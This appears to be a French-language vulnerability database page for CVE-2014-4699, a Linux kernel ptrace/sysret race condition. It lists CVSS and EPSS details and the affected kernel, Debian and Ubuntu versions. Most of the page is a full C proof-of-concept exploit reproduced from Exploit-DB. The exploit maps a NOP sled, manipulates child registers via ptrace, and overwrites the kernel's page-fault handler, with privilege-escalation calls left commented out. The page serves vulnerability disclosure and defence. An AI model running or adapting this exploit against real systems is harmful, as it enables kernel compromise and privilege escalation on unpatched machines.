Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-362 |
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 34134
Date de publication : 2014-07-20 22:00 +00:00
Auteur : Vitaly Nikolenko
EDB Vérifié : No
/**
* CVE-2014-4699 ptrace/sysret PoC
* by Vitaly Nikolenko
*
[email protected]
*
* > gcc -O2 poc_v0.c
*
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
* following will trigger the #GP in sysret and overwrite the #PF handler so we
* can land to our NOP sled mapped at 0x80000000.
* However, once landed, the IDT will be trashed. We can either attempt to
* restore it (then escalate privileges and execute our shellcode) or find
* something else to overwrite that would transfer exec flow to our controlled
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
* have any ideas, let me know.
*/
#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>
#define SIZE 0x10000000
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
unsigned long __user_cs;
unsigned long __user_ss;
unsigned long __user_rflags;
void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
// restore the #PF handler
*fixptr = -1;
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
//__asm__ volatile ("swapgs\n\t"
// "...");
}
int main() {
struct user_regs_struct regs;
uint8_t *trampoline, *tmp;
int status;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// MAP_POPULATE so we don't trigger extra #PF
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
assert(trampoline == 0x80000000);
memset(trampoline, 0x90, SIZE);
tmp = trampoline;
tmp += SIZE-1024;
memcpy(tmp, &payload, 1024);
memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
pid_t chld;
if ((chld = fork()) < 0) {
perror("fork");
exit(1);
}
if (chld == 0) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
perror("PTRACE_TRACEME");
exit(1);
}
raise(SIGSTOP);
fork();
return 0;
}
asm volatile("sidt %0" : "=m" (idt));
printf("IDT addr = 0x%lx\n", idt.addr);
waitpid(chld, &status, 0);
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
ptrace(PTRACE_CONT, chld, 0, 0);
waitpid(chld, &status, 0);
ptrace(PTRACE_GETREGS, chld, NULL, ®s);
regs.rdi = 0x0000000000000000;
regs.rip = 0x8fffffffffffffff;
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
// attempt to restore the IDT
regs.rdi = 0x0000000000000000;
regs.rsi = 0x81658e000010cbd0;
regs.rdx = 0x00000000ffffffff;
regs.rcx = 0x81658e000010cba0;
regs.rax = 0x00000000ffffffff;
regs.r8 = 0x81658e010010cb00;
regs.r9 = 0x00000000ffffffff;
regs.r10 = 0x81668e0000106b10;
regs.r11 = 0x00000000ffffffff;
regs.rbx = 0x81668e0000106ac0;
regs.rbp = 0x00000000ffffffff;
regs.r12 = 0x81668e0000106ac0;
regs.r13 = 0x00000000ffffffff;
regs.r14 = 0x81668e0200106a90;
regs.r15 = 0x00000000ffffffff;
ptrace(PTRACE_SETREGS, chld, NULL, ®s);
ptrace(PTRACE_CONT, chld, 0, 0);
ptrace(PTRACE_DETACH, chld, 0, 0);
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version From (including) 2.6.17 To (excluding) 3.2.61
Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.97
Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.10.47
Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.25
Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.11
Linux>>Linux_kernel >> Version From (including) 3.15 To (excluding) 3.15.4
Configuraton 0
Debian>>Debian_linux >> Version 7.0
Configuraton 0
Canonical>>Ubuntu_linux >> Version 10.04
Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 13.10
Canonical>>Ubuntu_linux >> Version 14.04
References